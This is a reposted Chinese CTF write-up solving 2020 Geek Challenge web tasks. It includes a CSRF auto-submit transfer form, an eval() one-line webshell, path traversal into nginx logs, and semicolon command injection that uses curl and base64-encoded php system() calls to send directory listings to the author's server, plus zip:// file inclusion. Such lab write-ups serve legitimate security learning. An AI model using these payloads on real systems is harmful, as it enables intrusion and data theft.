2020極客大挑戰部分web題WriteUp


WriteUP

Welcome

題目地址: http://49.234.224.119:8000/
題目描述: 歡迎來到極客大挑戰!

訪問題目鏈接,發現405報錯。
在這里插入圖片描述
百度了一下,發現是GET或者POST請求出問題了。拿Postman試一下:
在這里插入圖片描述
看了一下需要POST上傳一個roam1,roam2,這兩個的值不能相等,哈希值要相等,好了,傳入數組。
在這里插入圖片描述
因為各種哈希都無法對數組進行操作,會返回False。然后又因為False === False => True,所以順利繞過~

在phpinfo里面找找可以利用的信息:
在這里插入圖片描述
眾所周知,一般的Apache和nginx的根目錄是/var/www/html,所以只需要訪問http://49.234.224.119:8000/f1444aagggg.php即可。
訪問結果是這:
在這里插入圖片描述
其實這是個假頁面,是手動寫出來的 /捂臉
至於為什么,可以隨便訪問一個不存在的頁面:
在這里插入圖片描述
下面會出現Apache信息,然鵝flag頁面沒有,所以真flag肯定藏在頁面信息內。
找了一圈發現在某個偏僻的角落(網絡模塊的消息頭):
在這里插入圖片描述
出題人真的挺憨批的/我也是真的憨批···


flagshop

題目地址: http://173.82.206.142:8005/
題目描述: 你給我錢,我給你flag,就是這么簡單
提示:1.No sessionid!Don't Try to be admin(robot?) 2.Do you know csrf?

這道題的考點是CSRF,啥是CSRF?現場百度

看不懂?沒事,做完這道題你就懂了。

首先是個登錄界面,測了一下SQL注入沒啥鳥用(都提示CSRF了就老老實實注冊吧)。
在這里插入圖片描述
在這里插入圖片描述
注冊完登錄以后給我送了11塊錢,感動。往下一拉,發現買flag要好多好多錢,瞬間這11塊錢就不香了。
在這里插入圖片描述
flag商店上面一點點可以看到財(白)富(嫖)榜,好了我們的目標就是這些人了,具體干啥還不知道,先瞄准Longlone從他下手就完事了。

第二個功能是轉賬。突然奇思妙想,能不能開個腳本不斷注冊新用戶然后對自己的賬戶進行轉賬呢。每次轉11塊錢?

翻回去看了一下flag的價格我就停止了這個想法
在這里插入圖片描述
1萬兆RMB,每次轉11元需要轉1千兆次,每次2秒鍾(就算快一點也要一秒以上)大概等比賽結束還沒轉完。dbq是我太菜。

好了不扯了,那這個轉賬功能干嘛用的呢,猜測是利用某個漏洞,讓Longlone這個大(冤)富(大)豪(頭)在不知情的狀態下給我轉賬嗷~

第三個功能是報告,這里還一段戲,重點是我會好好查看你們的報告
在這里插入圖片描述
好了破案了,提示了CSRF,那就構造一個鏈接在這里提交,老板在查看報告的時候點一下鏈接,錢就沒啦~

好了問題來了,怎么構建轉賬鏈接呢,代碼已寫好:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}         
</script>
</head>
<body>
<form method="post" action="http://173.82.206.142:8005/transfer.php" enctype="multipart/form-data">
    <input id="target" type="text" name="target" value="Wake" />
    <input id="money" type="text" name="money" value="111111111111" />
    <input id="message" type="text" name="messages" value="hhh" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把這個頁面掛在某個服務器上,然后把訪問這個網頁的鏈接提交到報告里面就好啦!

服務器干嘛用呢,這里主要涉及到公網和內網的知識點。一般的機子都是處於一個局域網下,沒有一個固定的公網ip,非局域網下的用戶沒辦法訪問你的ip,所以就需要一個公網ip。

一般來說個人是沒有公網ip的,如果想要的話可以去租個雲服務器,或者利用內網穿透將自己的一些端口映射出去即可。

這里采用將惡意網頁掛在雲服務器上,構造的結果是111.229.xxx.17/aaa.html(菜雞選擇不暴露自己的ip免得被日穿)

然后發現這里需要輸入一個驗證碼,md5哈希值的前五位有要求。然后寫了個代碼爆破一下:
z

#coding:utf-8
#python3
import hashlib
import time

t = time.time()
l = 'qwertyuiopasdfghjklzxcvbnm'
for i in l:
    for j in l:
        for k in l:
            for m in l:
                for n in l:
                    for o in l:
                        f = i + j + k + m + n + o 
                        md5 =  hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
                        if md5[:5] == 'f34c3':
                            print(f)
                            print(md5)
                            print(time.time()-t)

在這里插入圖片描述
很快就爆出了兩個
在這里插入圖片描述
然后提交一下:
在這里插入圖片描述
去主頁看看:
在這里插入圖片描述
然后買一下flag就搞定啦~


朋友的學妹

題目地址:http://49.234.224.119:7413/
題目描述:與妹子單獨相處一會兒吧

沒啥好說的,右鍵查看源碼出flag


EZwww

題目地址:http://47.100.46.169:3901/
題目描述:備份是個好習慣

試了試www.zip,就下載下來了附件。
在這里插入圖片描述
這里有個假flag。

打開index.php,看到源碼:

<html>
 <head>
  <title>Lola's website1.0</title>
 </head>
 <body>
 <?php echo '<h1>welcome to my website</h1>'; ?>
 <?php echo '<p>i will never forget to backup my website......</p>'; ?>
 <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
 </body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

key2的結果是sycl0ver
在這里插入圖片描述
傳一個上去:
在這里插入圖片描述


EZgit

題目地址:http://47.100.46.169:3902/
題目描述:當前大量開發人員使用git進行版本控制,對站點自動部署。如果配置不當,嘿嘿嘿。。。

提示git了,先訪問http://47.100.46.169:3902/.git
在這里插入圖片描述
好了,git源碼泄露。

githack上線:傳送門

下載下來以后解壓,在當前目錄打開cmd:

在這里插入圖片描述
等兩分鍾左右 要好久
在這里插入圖片描述
在dist下有一個目錄,就是剛才githack攻擊的結果。
在這里插入圖片描述
打開之后flag居然過期了:
在這里插入圖片描述
然后理一遍思路:
git是用來這里版本信息的,這里表示版本過期了,那就需要更新一下版本。

可以使用git log -p 查看git所有的日志,一目了然。也可以用git更新一下fl4g.php,flag也會在里面。(前提是要裝git,安裝過程自行百度~)

在這里插入圖片描述


劉壯的黑頁

題目地址:http://106.54.75.217:8080/

打開之后再頁面底下有源碼

<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
    echo $flag;
}

然后GET傳一個username=admin,POST傳一個passwd=syclover就出flag了。


我是大黑客

點開鏈接,直接說明有一個liuzhuang.php.bak,訪問一下:
在這里插入圖片描述
在這里插入圖片描述

<?php
eval($_POST['liuzhuang']);

//誰是大惡人 那必定是我liuzhuang
//當你的服務器看到 0xliuzhuang 就知道要買台新機器了
?>

明顯的一句話木馬,連一下:

在這里插入圖片描述
在這里插入圖片描述
連上了,根目錄下有flag:
在這里插入圖片描述


ezbypass

打開鏈接,要求的上傳一個a和一個b,必須滿足兩個條件:

  • a和b的strcmp結果要為NULL
  • a和b不能相等
    在這里插入圖片描述
    利用數組繞過。
    在這里插入圖片描述
    這里又要求post傳一個c要等於123但是又不能是數字,那就傳一個123qwe
    123后面加一些字母/字符就行。
    在這里插入圖片描述

知X堂的php教程

題目地址:http://47.94.239.194:8082/
題目描述:知X堂(PS:請勿對號入座)的php教程開課啦!ん?好像不太對勁?

進去之后有一個可以點的鏈接,先點一下:
在這里插入圖片描述
然后這個url有點奇怪:
在這里插入圖片描述
listdir是列出目錄下所有文件的意思,那這個php的功能是不是傳入一個目錄地址可以列出來呢?

是的,但是不全(為什么不全后面會講)。

這里列出了一個flag.php,點一下:
在這里插入圖片描述
雖然是flag.php但是一點誠意都沒有,因為這里並沒有include其他php,所以就算達成條件也輸不出flag。

然后,嗯?這個鏈接構造有點意思,居然先訪問的displaySourceCode.php
咦,難不成這個東西可以直接顯示所有文件的內容?試着包含自己
在這里插入圖片描述
哦豁,確實可以讀取所有東西。

然后,這里出現了一個非預期

我讀取了一下日志文件在這里插入圖片描述
直接看到了大佬的payload,然后回頭試了一下就干進去了。
payload是這個:

http://47.94.239.194:8082/displaySourceCode.php?phpfile=../../../../var/log/nginx/access.log

在這里插入圖片描述
就在我這么"做出來"的一小時以后,發現這個payload已經不能用了(估計管理員已經將這個文件設置成700權限了吧),Guest用戶不可見,還好我機智沒把這個頁面關掉,這才有了這張截圖。把這個payload打一下,直接出flag:
在這里插入圖片描述

憨批操作到此為止,接下來上干貨,正規解法來了(雖然不知道這個解法會不會也是非預期)!

首先讀取一下listdir.php
在這里插入圖片描述

<?php
include("waf.php");

// 設置目錄名稱並進行掃描。
$search_dir = $_GET['dirname'];
$title = "教案";

// 防止命令注入
$search_dir = shellWaf($search_dir);

//$contents = scandir($search_dir); 或者使用
exec("ls $search_dir", $contents);

重點部分代碼是這塊,這里使用exec執行這個命令,而這個語句里面的search_dir是可控的,但是會被waf.php過濾掉一部分,那就去看看waf過濾了啥。
在這里插入圖片描述


<?php

// 防御XSS
function html($string) {
	return htmlspecialchars($string);
}

// 防御命令注入
function shellWaf($string) {
	return preg_replace("/(&)|(\|)|(>)|(<)/i", "", $string);
}

其實就過濾了& | > <,那就試着利用分號來進行RCE:
舉個栗子,我們上傳/;echo Wake,那么在PHP里面出來的是

ls /;echo Wake

看看linux下的執行結果:
在這里插入圖片描述
其實就是兩條命令一起執行了!好了,漏洞已經找到,搞就完事了。

前面已經說了 listdir.php 是列出文件的東西,傳一個/構造一下:

ls /

在這里插入圖片描述
只顯示了一個start.sh

講道理的話,根目錄下肯定有一堆bin boot等一堆文件夾,然鵝這里沒有顯示出來,不講道理,看看源碼:
在這里插入圖片描述
這里的is_file只顯示常規文件,不顯示文件夾和非常規文件。那只能想其他辦法獲取這個內容了,盲猜flag就在根目錄下。

這里介紹一下nc,一個被稱為瑞士軍刀的linux小工具。參考鏈接
在這里插入圖片描述
比如在服務器上開一個nc服務:
在這里插入圖片描述
然后訪問一下在這里插入圖片描述
發現可以在服務器端看到傳了些啥
在這里插入圖片描述
實用工具介紹完畢,開始干活。眾所周知Linux向網頁發起請求使用的是curl,比如

curl 111.229.xxx.17:1234?hello=qwe

在這里插入圖片描述
下面這台機子向上面那台服務器發起請求,可以接到。利用這個來搞事情~
構造出來一個payload:(雖然這么構造但是我們不上傳前面那個ls,那個ls是php內置的)

ls /;curl 111.229.xxx.17:1234?hello=`ls /`

在這里插入圖片描述
服務器端收到了一個bin
在這里插入圖片描述
看來是分號將請求截斷了,可以用base64繞過

ls /;curl 111.229.xxx.17:1234?hello=`ls /|base64`

在這里插入圖片描述
這里的|base64是將前面的結果進行base64編碼
在這里插入圖片描述
但是考慮到waf過濾了|,於是用php套娃。

構造:

ls /;php -r 'system(base64_decode("Y3VybCAxMTEuMjI5Lnh4eC4xNzoxMjM0P2hlbGxvPWBscyAvfGJhc2U2NGA="));'

在這里插入圖片描述
在這里插入圖片描述
真雞兒困難
在這里插入圖片描述
哦,原來文件名叫這個,然后試試列出flagggggggggggggg_1s_here目錄下有啥

ls /;curl 111.229.xxx.17:1234?hello=`ls /flagggggggggggggg_1s_here/*|base64`
====>
ls /;php -r 'system(base64_decode("Y3VybCAxMTEuMjI5Lnh4eC4xNzoxMjM0P2hlbGxvPWBscyAvZmxhZ2dnZ2dnZ2dnZ2dnZ2dfMXNfaGVyZS8qfGJhc2U2NGA="));'

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
反手就是一個讀取:

http://47.94.239.194:8082/displaySourceCode.php?phpfile=../../../../../flagggggggggggggg_1s_here/flag

在這里插入圖片描述
有一說一我真菜做了好久好久


Myblog

題目地址:http://173.82.206.142:8006/ 或訪問 http://120.27.146.26:8002/
題目描述:我寫了個簡單的博客,歡迎大家來訪問!
提示:

  • 1.Do you know the PHP pseudo-protocol?
  • 2.Every 5 minutes remove all upload files.

進去以后是Home
在這里插入圖片描述
找了一圈,發現兩個比價有用的線索

  • 不管訪問什么界面,url都是index.php?page=xxx
  • login登錄界面

根據網url推測這個page是文件包含,試試php偽協議讀取源碼:

http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=login.php

在這里插入圖片描述
讀取不出來,但是想到原來url的末尾是?page=home,試試去掉.php

http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=login

在這里插入圖片描述
得到

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Login</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="robots" content="all,follow">
    <link rel="stylesheet" href="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/css/bootstrap.min.css">
    <link rel="stylesheet" href="css/style.default.css" id="theme-stylesheet">
  </head>
  <body>
    <div class="page login-page">
      <div class="container d-flex align-items-center">
        <div class="form-holder has-shadow">
          <div class="row">
            <!-- Logo & Information Panel-->
            <div class="col-lg-6">
              <div class="info d-flex align-items-center">
                <div class="content">
                  <div class="logo">
                    <h1>歡迎登錄</h1>
                  </div>
                  <p>—— 博客后台 ——</p>
                </div>
              </div>
            </div>
            <!-- Form Panel    -->
            <div class="col-lg-6 bg-white">
              <div class="form d-flex align-items-center">
                <div class="content">
                  <form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">
                    <div class="form-group">
                      <input id="login-username" type="text" name="username" required data-msg="請輸入用戶名" placeholder="用戶名" class="input-material">
                    </div>
                    <div class="form-group">
                      <input id="login-password" type="password" name="password" required data-msg="請輸入密碼" placeholder="密碼" class="input-material">
                    </div>
                    <button id="login" type="submit" class="btn btn-primary">登錄</button>
                    <div style="margin-top: -40px;"> 
                    	<!-- <input type="checkbox"  id="check1"/>&nbsp;<span>記住密碼</span>
                    	<input type="checkbox" id="check2"/>&nbsp;<span>自動登錄</span> -->
                    	<div class="custom-control custom-checkbox " style="float: right;">
											    <input type="checkbox" class="custom-control-input" id="check2" >
											    <label class="custom-control-label" for="check2">自動登錄</label>
											</div>
											<div class="custom-control custom-checkbox " style="float: right;">
											    <input type="checkbox" class="custom-control-input" id="check1" >
											    <label class="custom-control-label" for="check1">記住密碼&nbsp;&nbsp;</label>
											</div> 
                    </div>
                  </form>
                  <br />
                  <small>沒有賬號?</small><a href="#" class="signup">&nbsp;不給注冊</a>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
    <!-- JavaScript files-->
    <script src="https://libs.baidu.com/jquery/1.10.2/jquery.min.js"></script>
    <script src="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/bootstrap.min.js"></script>
    <script src="vendor/jquery-validation/jquery.validate.min.js"></script><!--表單驗證-->
    <!-- Main File-->
    <script src="js/front.js"></script>
  </body>
</html>

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

這個代碼好像沒啥用,放着吧。

然后觀察一下登錄界面的源碼,可以發現有一個admin/user目錄
在這里插入圖片描述
包含一下這個:
在這里插入圖片描述


<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>


	  <?php
		if(isset($_FILES['Files']) and $_SESSION['status'] === true){
			$tmp_file = $_FILES['Files']['name'];
			$tmp_path = $_FILES['Files']['tmp_name'];
			if(($extension = pathinfo($tmp_file)['extension']) != ""){
				$allows = array('gif','jpeg','jpg','png');
				if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
						$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
						move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
						echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
				} else {
					echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
				}
			}
		}
	  ?>

中間的HTML代碼都沒用,已經刪去。這里有兩個php代碼,第一個php是登錄用的代碼,第二個是上傳用的代碼,先看登錄代碼:

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

重點是if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password'])
要求$_POST['password'] == $_SESSION['password'])
我們可以把session這邊的cookie刪掉,然后上傳一個空密碼就行啦,順利繞過登陸~
操作步驟如下:
在這里插入圖片描述
刪掉以后:
在這里插入圖片描述
再輸入用戶名,點擊登錄發現這個是個必須填寫的選項。
在這里插入圖片描述
這個東西可以在前端進行修改,在查看器那邊將require刪掉即可。
在這里插入圖片描述
在這里插入圖片描述
然后就登錄進去了。

這里有個上傳入口,而且后台代碼都給你了,想都不想肯定是上傳漏洞。

<?php
		if(isset($_FILES['Files']) and $_SESSION['status'] === true){
			$tmp_file = $_FILES['Files']['name'];
			$tmp_path = $_FILES['Files']['tmp_name'];
			if(($extension = pathinfo($tmp_file)['extension']) != ""){
				$allows = array('gif','jpeg','jpg','png');
				if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
						$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
						move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
						echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
				} else {
					echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
				}
			}
		}
	  ?>

這里采用白名單過濾,於是可以將php文件打包成zip,改后綴名為jpg,再利用zip偽協議進行讀取。

直接上手:
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
然后上傳:
在這里插入圖片描述
訪問一下:
在這里插入圖片描述
發現有文件,但是沒辦法顯示(出不來是因為我們這個文件是個壓縮包,不是個正經的圖片)

然后利用zip偽協議讀取一下,格式如下:

zip:// + zip路徑 + %23 + php文件名
http://173.82.206.142:8006/?page=zip://./upload/6f49107b371dc2c26e97d8579ecf2c0979936271.jpg%231
#這里不加.php后綴是因為在index.php包含的時候默認加上了

同時上傳一個cmd變量執行命令
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM